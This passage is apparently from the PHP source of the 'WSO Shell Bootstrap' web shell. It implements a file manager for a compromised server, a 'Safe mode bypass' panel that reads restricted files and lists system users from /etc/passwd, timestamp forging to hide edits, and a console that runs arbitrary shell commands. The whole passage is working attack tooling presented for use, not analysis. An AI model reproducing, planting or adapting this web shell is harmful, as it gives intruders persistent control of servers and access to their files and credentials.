  1250.        mkdir($d.$s);
  1251.        $h = @opendir($c.$s);
  1252.        while (($f = @readdir($h)) !== false)
  1253.         if (($f != ".") and ($f != ".."))
  1254.          copy_paste($c.$s.'/',$f, $d.$s.'/');
  1255.       } elseif(is_file($c.$s))
  1256.        @copy($c.$s, $d.$s);
  1257.      }
  1258.      foreach($_SESSION['f'] as $f)
  1259.       copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
  1260.     } elseif($_SESSION['act'] == 'move') {
  1261.      function move_paste($c,$s,$d){
  1262.       if(is_dir($c.$s)){
  1263.        mkdir($d.$s);
  1264.        $h = @opendir($c.$s);
  1265.        while (($f = @readdir($h)) !== false)
  1266.         if (($f != ".") and ($f != ".."))
  1267.          copy_paste($c.$s.'/',$f, $d.$s.'/');
  1268.       } elseif(@is_file($c.$s))
  1269.        @copy($c.$s, $d.$s);
  1270.      }
  1271.      foreach($_SESSION['f'] as $f)
  1272.       @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
  1273.     } elseif($_SESSION['act'] == 'zip') {
  1274.      if(class_exists('ZipArchive')) {
  1275.                         $zip = new ZipArchive();
  1276.                         if ($zip->open($_POST['p2'], 1)) {
  1277.                             chdir($_SESSION['c']);
  1278.                             foreach($_SESSION['f'] as $f) {
  1279.                                 if($f == '..')
  1280.                                     continue;
  1281.                                 if(@is_file($_SESSION['c'].$f))
  1282.                                     $zip->addFile($_SESSION['c'].$f, $f);
  1283.                                 elseif(@is_dir($_SESSION['c'].$f)) {
  1284.                                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  1285.                                     foreach ($iterator as $key=>$value) {
  1286.                                         $zip->addFile(realpath($key), $key);
  1287.                                     }
  1288.                                 }
  1289.                             }
  1290.                             chdir($GLOBALS['cwd']);
  1291.                             $zip->close();
  1292.                         }
  1293.                     }
  1294.     } elseif($_SESSION['act'] == 'unzip') {
  1295.      if(class_exists('ZipArchive')) {
  1296.                         $zip = new ZipArchive();
  1297.                         foreach($_SESSION['f'] as $f) {
  1298.                             if($zip->open($_SESSION['c'].$f)) {
  1299.                                 $zip->extractTo($GLOBALS['cwd']);
  1300.                                 $zip->close();
  1301.                             }
  1302.                         }
  1303.                     }
  1304.     } elseif($_SESSION['act'] == 'tar') {
  1305.                     chdir($_SESSION['c']);
  1306.                     $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
  1307.                     wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
  1308.                     chdir($GLOBALS['cwd']);
  1309.     }
  1310.     unset($_SESSION['f']);
  1311.     break;
  1312.    default:
  1313.                 if(!empty($_POST['p1'])) {
  1314.      $_SESSION['act'] = @$_POST['p1'];
  1315.      $_SESSION['f'] = @$_POST['f'];
  1316.      foreach($_SESSION['f'] as $k => $f)
  1317.       $_SESSION['f'][$k] = urldecode($f);
  1318.      $_SESSION['c'] = @$_POST['c'];
  1319.     }
  1320.     break;
  1321.   }
  1322.  }
  1323.  $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  1324.  if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
  1325.  global $sort;
  1326.  $sort = array('name', 1);
  1327.  if(!empty($_POST['p1'])) {
  1328.   if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  1329.    $sort = array($match[1], (int)$match[2]);
  1330.  }
  1331. echo "<script>
  1332. function sa() {
  1333.  for(i=0;i<d.files.elements.length;i++)
  1334.   if(d.files.elements[i].type == 'checkbox')
  1335.    d.files.elements[i].checked = d.files.elements[0].checked;
  1336. }
  1337.  
  1338. </script>
  1339. <div class='container-fluid'>
  1340. <table class='table table-striped table-hover'>
  1341. <form name=files method=post><tr class='info'><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  1342.  $dirs = $files = array();
  1343.  $n = count($dirContent);
  1344.  for($i=0;$i<$n;$i++) {
  1345.   $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  1346.   $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  1347.   $tmp = array('name' => $dirContent[$i],
  1348.       'path' => $GLOBALS['cwd'].$dirContent[$i],
  1349.       'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  1350.       'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  1351.       'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  1352.       'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  1353.       'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  1354.      );
  1355.   if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  1356.    $files[] = array_merge($tmp, array('type' => 'file'));
  1357.   elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  1358.    $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  1359.   elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
  1360.    $dirs[] = array_merge($tmp, array('type' => 'dir'));
  1361.  }
  1362.  $GLOBALS['sort'] = $sort;
  1363.  function wsoCmp($a, $b) {
  1364.   if($GLOBALS['sort'][0] != 'size')
  1365.    return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  1366.   else
  1367.    return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  1368.  }
  1369.  usort($files, "wsoCmp");
  1370.  usort($dirs, "wsoCmp");
  1371.  $files = array_merge($dirs, $files);
  1372.  $l = 0;
  1373.  foreach($files as $f) {
  1374.   echo '<tr class="danger"><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  1375.    .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  1376.   $l = $l?0:1;
  1377.  }
  1378.  echo "<tr class='action'><td colspan=7>
  1379.  
  1380. <input type=hidden name=a value='FilesMan'>
  1381. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  1382. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  1383. <select style='color:#d9534f;'name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  1384.     if(class_exists('ZipArchive'))
  1385.         echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  1386.     echo "<option   value='tar'>Compress (tar.gz)</option>";
  1387.     if(!empty($_SESSION['act']) && @count($_SESSION['f']))
  1388.         echo "<option value='paste'>Paste / Compress</option>";
  1389.     echo "</select>&nbsp;";
  1390.     if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
  1391.         echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  1392.     echo "<input style='margin-left:3px;' class='btn btn-success btn-xs'  type='submit' value='>>'></td></tr></form></table></div>
  1393. </div> </div>
  1394. ";
  1395.  wsoFooter();
  1396. }
  1397.  
  1398. function actionStringTools() {
  1399.  if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  1400.     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  1401.  if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  1402.  if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  1403.  if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  1404.  $stringTools = array(
  1405.   'Base64 encode' => 'base64_encode',
  1406.   'Base64 decode' => 'base64_decode',
  1407.   'Url encode' => 'urlencode',
  1408.   'Url decode' => 'urldecode',
  1409.   'Full urlencode' => 'full_urlencode',
  1410.   'md5 hash' => 'md5',
  1411.   'sha1 hash' => 'sha1',
  1412.   'crypt' => 'crypt',
  1413.   'CRC32' => 'crc32',
  1414.   'ASCII to HEX' => 'ascii2hex',
  1415.   'HEX to ASCII' => 'hex2ascii',
  1416.   'HEX to DEC' => 'hexdec',
  1417.   'HEX to BIN' => 'hex2bin',
  1418.   'DEC to HEX' => 'dechex',
  1419.   'DEC to BIN' => 'decbin',
  1420.   'BIN to HEX' => 'binhex',
  1421.   'BIN to DEC' => 'bindec',
  1422.   'String to lower case' => 'strtolower',
  1423.   'String to upper case' => 'strtoupper',
  1424.   'Htmlspecialchars' => 'htmlspecialchars',
  1425.   'String length' => 'strlen',
  1426.  );
  1427.  if(isset($_POST['ajax'])) {
  1428.   $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1429.   ob_start();
  1430.   if(in_array($_POST['p1'], $stringTools))
  1431.    echo $_POST['p1']($_POST['p2']);
  1432.   $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  1433.   echo strlen($temp), "\n", $temp;
  1434.   exit;
  1435.  }
  1436.  wsoHeader();
  1437.  echo '<div class="container-fluid"><span  class="label label-default">String conversions</span> <div style="margin-top:4pt;" class="well">';
  1438.  if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1439.   $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1440.  echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select style='color:#d9534f;' name='selectTool'>";
  1441.  foreach($stringTools as $k => $v)
  1442.   echo "<option style='color:#d9534f;' value='".htmlspecialchars($v)."'>".$k."</option>";
  1443.   echo "</select><input type='submit' style='margin-left:3px;margin-bottom:3px;' class='btn btn-success btn-xs' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1444.  if(!empty($_POST['p1'])) {
  1445.   if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1446.  }
  1447.  echo"</pre></div><span  class='label label-default'>Search text in files:</span><div style='margin-top:4pt;'  class='well'>
  1448.  
  1449.  <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  1450.   <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  1451.   <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  1452.   <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  1453.   <tr><td></td><td><input type='submit' value='>>'></td></tr>
  1454.   </table></form>";
  1455.  
  1456.  function wsoRecursiveGlob($path) {
  1457.   if(substr($path, -1) != '/')
  1458.    $path.='/';
  1459.   $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  1460.   if(is_array($paths)&&@count($paths)) {
  1461.    foreach($paths as $item) {
  1462.     if(@is_dir($item)){
  1463.      if($path!=$item)
  1464.       wsoRecursiveGlob($item);
  1465.     } else {
  1466.      if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
  1467.       echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
  1468.     }
  1469.    }
  1470.   }
  1471.  }
  1472.  if(@$_POST['p3'])
  1473.   wsoRecursiveGlob($_POST['c']);
  1474.  
  1475.   echo "
  1476.  </div>
  1477.  <br>
  1478.   <footer><center><small>Wso Shell Bootstrap  &copy;  Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
  1479.   ";
  1480. }
  1481.  
  1482. function actionFilesTools() {
  1483.  if( isset($_POST['p1']) )
  1484.   $_POST['p1'] = urldecode($_POST['p1']);
  1485.  if(@$_POST['p2']=='download') {
  1486.   if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  1487.    ob_start("ob_gzhandler", 4096);
  1488.    header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  1489.    if (function_exists("mime_content_type")) {
  1490.     $type = @mime_content_type($_POST['p1']);
  1491.     header("Content-Type: " . $type);
  1492.    } else
  1493.                 header("Content-Type: application/octet-stream");
  1494.    $fp = @fopen($_POST['p1'], "r");
  1495.    if($fp) {
  1496.     while(!@feof($fp))
  1497.      echo @fread($fp, 1024);
  1498.     fclose($fp);
  1499.    }
  1500.   }exit;
  1501.  }
  1502.  if( @$_POST['p2'] == 'mkfile' ) {
  1503.   if(!file_exists($_POST['p1'])) {
  1504.    $fp = @fopen($_POST['p1'], 'w');
  1505.    if($fp) {
  1506.     $_POST['p2'] = "edit";
  1507.     fclose($fp);
  1508.    }
  1509.   }
  1510.  }
  1511.  wsoHeader();
  1512.  echo '<div class="container-fluid"><span  class="label label-default">File tools</span><br>';
  1513.  if( !file_exists(@$_POST['p1']) ) {
  1514.   echo 'File not exists';
  1515.   wsoFooter();
  1516.   return;
  1517.  }
  1518.  $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  1519.  if(!$uid) {
  1520.   $uid['name'] = @fileowner($_POST['p1']);
  1521.   $gid['name'] = @filegroup($_POST['p1']);
  1522.  } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  1523.  echo '<div  style="margin-top:4pt;"  class="well"><span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  1524.  echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br></div>';
  1525.  if( empty($_POST['p2']) )
  1526.   $_POST['p2'] = 'view';
  1527.  if( is_file($_POST['p1']) )
  1528.   $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  1529.  else
  1530.   $m = array('Chmod', 'Rename', 'Touch');
  1531.  foreach($m as $v)
  1532.   echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  1533.  echo '<br><br>';
  1534.  switch($_POST['p2']) {
  1535.   case 'view':
  1536.    echo '<pre class=ml1>';
  1537.    $fp = @fopen($_POST['p1'], 'r');
  1538.    if($fp) {
  1539.     while( !@feof($fp) )
  1540.      echo htmlspecialchars(@fread($fp, 1024));
  1541.     @fclose($fp);
  1542.    }
  1543.    echo '</pre>';
  1544.    break;
  1545.   case 'highlight':
  1546.    if( @is_readable($_POST['p1']) ) {
  1547.     echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  1548.     $code = @highlight_file($_POST['p1'],true);
  1549.     echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  1550.    }
  1551.    break;
  1552.   case 'chmod':
  1553.    if( !empty($_POST['p3']) ) {
  1554.     $perms = 0;
  1555.     for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  1556.      $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  1557.     if(!@chmod($_POST['p1'], $perms))
  1558.      echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  1559.    }
  1560.    clearstatcache();
  1561.    echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  1562.    break;
  1563.   case 'edit':
  1564.    if( !is_writable($_POST['p1'])) {
  1565.     echo 'File isn\'t writeable';
  1566.     break;
  1567.    }
  1568.    if( !empty($_POST['p3']) ) {
  1569.     $time = @filemtime($_POST['p1']);
  1570.     $_POST['p3'] = substr($_POST['p3'],1);
  1571.     $fp = @fopen($_POST['p1'],"w");
  1572.     if($fp) {
  1573.      @fwrite($fp,$_POST['p3']);
  1574.      @fclose($fp);
  1575.      echo 'Saved!<br><script>p3_="";</script>';
  1576.      @touch($_POST['p1'],$time,$time);
  1577.     }
  1578.    }
  1579.    echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  1580.    $fp = @fopen($_POST['p1'], 'r');
  1581.    if($fp) {
  1582.     while( !@feof($fp) )
  1583.      echo htmlspecialchars(@fread($fp, 1024));
  1584.     @fclose($fp);
  1585.    }
  1586.    echo '</textarea><input type=submit style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" value=">>"></form>';
  1587.    break;
  1588.   case 'hexdump':
  1589.    $c = @file_get_contents($_POST['p1']);
  1590.    $n = 0;
  1591.    $h = array('00000000<br>','','');
  1592.    $len = strlen($c);
  1593.    for ($i=0; $i<$len; ++$i) {
  1594.     $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  1595.     switch ( ord($c[$i]) ) {
  1596.      case 0:  $h[2] .= ' '; break;
  1597.      case 9:  $h[2] .= ' '; break;
  1598.      case 10: $h[2] .= ' '; break;
  1599.      case 13: $h[2] .= ' '; break;
  1600.      default: $h[2] .= $c[$i]; break;
  1601.     }
  1602.     $n++;
  1603.     if ($n == 32) {
  1604.      $n = 0;
  1605.      if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  1606.      $h[1] .= '<br>';
  1607.      $h[2] .= "\n";
  1608.     }
  1609.     }
  1610.    echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  1611.    break;
  1612.   case 'rename':
  1613.    if( !empty($_POST['p3']) ) {
  1614.     if(!@rename($_POST['p1'], $_POST['p3']))
  1615.      echo 'Can\'t rename!<br>';
  1616.     else
  1617.      die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  1618.    }
  1619.    echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" value=">>"></form>';
  1620.    break;
  1621.   case 'touch':
  1622.    if( !empty($_POST['p3']) ) {
  1623.     $time = strtotime($_POST['p3']);
  1624.     if($time) {
  1625.      if(!touch($_POST['p1'],$time,$time))
  1626.       echo 'Fail!';
  1627.      else
  1628.       echo 'Touched!';
  1629.     } else echo 'Bad time format!';
  1630.    }
  1631.    clearstatcache();
  1632.    echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" value=">>"></form>';
  1633.    break;
  1634.  }
  1635.  echo '</div>';
  1636.  wsoFooter();
  1637. }
  1638.  
  1639. function actionSafeMode() {
  1640.  $temp='';
  1641.  ob_start();
  1642.  switch($_POST['p1']) {
  1643.   case 1:
  1644.    $temp=@tempnam($test, 'cx');
  1645.    if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1646.     echo @file_get_contents($temp);
  1647.     unlink($temp);
  1648.    } else
  1649.     echo 'Sorry... Can\'t open file';
  1650.    break;
  1651.   case 2:
  1652.    $files = glob($_POST['p2'].'*');
  1653.    if( is_array($files) )
  1654.     foreach ($files as $filename)
  1655.      echo $filename."\n";
  1656.    break;
  1657.   case 3:
  1658.    $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
  1659.    curl_exec($ch);
  1660.    break;
  1661.   case 4:
  1662.    ini_restore("safe_mode");
  1663.    ini_restore("open_basedir");
  1664.    include($_POST['p2']);
  1665.    break;
  1666.   case 5:
  1667.    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1668.     $uid = @posix_getpwuid($_POST['p2']);
  1669.     if ($uid)
  1670.      echo join(':',$uid)."\n";
  1671.    }
  1672.    break;
  1673.  }
  1674.  $temp = ob_get_clean();
  1675.  wsoHeader();
  1676.  echo '<div class="container-fluid"><span  class="label label-default">Safe mode bypass</span>
  1677.    <div style="margin-top:4pt;" class="well"> ';
  1678.  echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" type=submit value=">>"></form>';
  1679.  if($temp)
  1680.   echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
  1681.  echo '</div></div>';
  1682.    echo "
  1683.   <br>
  1684.   <footer><center><small>Wso Shell Bootstrap  &copy;  Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
  1685.   ";
  1686. }
  1687.  
  1688. function actionConsole() {
  1689.     if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  1690.         $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
  1691.         $_POST['p1'] .= ' 2>&1';
  1692.     } elseif(!empty($_POST['p1']))
  1693.         $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
  1694.  
  1695.  if(isset($_POST['ajax'])) {
  1696.   $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1697.   ob_start();
  1698.   echo "d.cf.cmd.value='';\n";
  1699.   $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  1700.   if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  1701.    if(@chdir($match[1])) {
  1702.     $GLOBALS['cwd'] = @getcwd();
  1703.     echo "c_='".$GLOBALS['cwd']."';";
  1704.    }
  1705.   }
  1706.   echo "d.cf.output.value+='".$temp."';";
  1707.   echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  1708.   $temp = ob_get_clean();
  1709.   echo strlen($temp), "\n", $temp;
  1710.   exit;
  1711.  }
  1712.  wsoHeader();
  1713.     echo "<script>
  1714. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1715. var cmds = new Array('');
  1716. var cur = 0;
  1717. function kp(e) {
  1718. var n = (window.Event) ? e.which : e.keyCode;
  1719. if(n == 38) {
  1720.  cur--;
  1721.  if(cur>=0)
  1722.   document.cf.cmd.value = cmds[cur];
  1723.  else
  1724.   cur++;
  1725. } else if(n == 40) {
  1726.  cur++;
  1727.  if(cur < cmds.length)
  1728.   document.cf.cmd.value = cmds[cur];
  1729.  else
  1730.   cur--;
  1731. }
  1732. }
  1733. function add(cmd) {
  1734. cmds.pop();
  1735. cmds.push(cmd);
  1736. cmds.push('');
  1737. cur = cmds.length-1;
  1738. }
  1739.  
  1740. </script>";
  1741.  echo '<div class="container-fluid"><span  class="label label-default">Console</span>
  1742. <div style="margin-top:4pt;" class="well">
  1743.  <form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  1744.  foreach($GLOBALS['aliases'] as $n => $v) {
  1745.   if($v == '') {
  1746.    echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1747.    continue;
  1748.   }
  1749.   echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1750.  }
  1751.  if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1752.   $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1753.  echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea name=output style="border-bottom:0;margin:0;width:100%;height:250px;" readonly>';
  1754.  if(!empty($_POST['p1'])) {
  1755.   echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  1756.  }
  1757.  echo '</textarea><table> <tr><td width="1%"><i class="fa fa-usd"></i> &nbsp;</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1758.  echo '</form></div><script>d.cf.cmd.focus();</script></div></div>';
  1759.    echo "
  1760.   <footer><center><small>Wso Shell Bootstrap  &copy;  Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
  1761.   ";
  1762. }
  1763.  
  1764. function actionLogout() {
  1765.  wsoHeader();
  1766.     session_destroy();
  1767.  echo '
  1768. <meta http-equiv="refresh" content="5;URL='.$_SERVER['PHP_SELF'].'">
  1769.  
  1770. <div class="container" >
  1771. <div align="center">
  1772. <img  src="http://i.hizliresim.com/bDRW30.gif">  
  1773. </div><br>
  1774. <div class="row">
  1775. <div class="col-md-4"></div>
  1776. <div class="col-md-4">
  1777. <div class="alert alert-dismissible alert-info">
  1778.  <h4>Good Bye Hekır </h4>
  1779.  <p class="text-danger">
  1780.  
  1781.  Bidaha Görüsmemek Uzere <i class="fa fa-frown-o"></i>
  1782.  </p>
  1783.   <p class="text-primary">
  1784.   Seni 5 Saniye İçinde Uğurluyoruz.</i>
  1785.  </p>
  1786. </div>
  1787. <div id="myProgress">
  1788.    <div id="myBar"></div>
  1789. </div>
  1790. <div class="col-md-4"></div>
  1791. </div>
  1792. </div>
  1793. </div>
  1794. <br><br>
  1795. ';
  1796.    
  1797.  
  1798.  
  1799. }
  1800.  
  1801. function actionSelfRemove() {
  1802.  
  1803.  if($_POST['p1'] == 'yes')
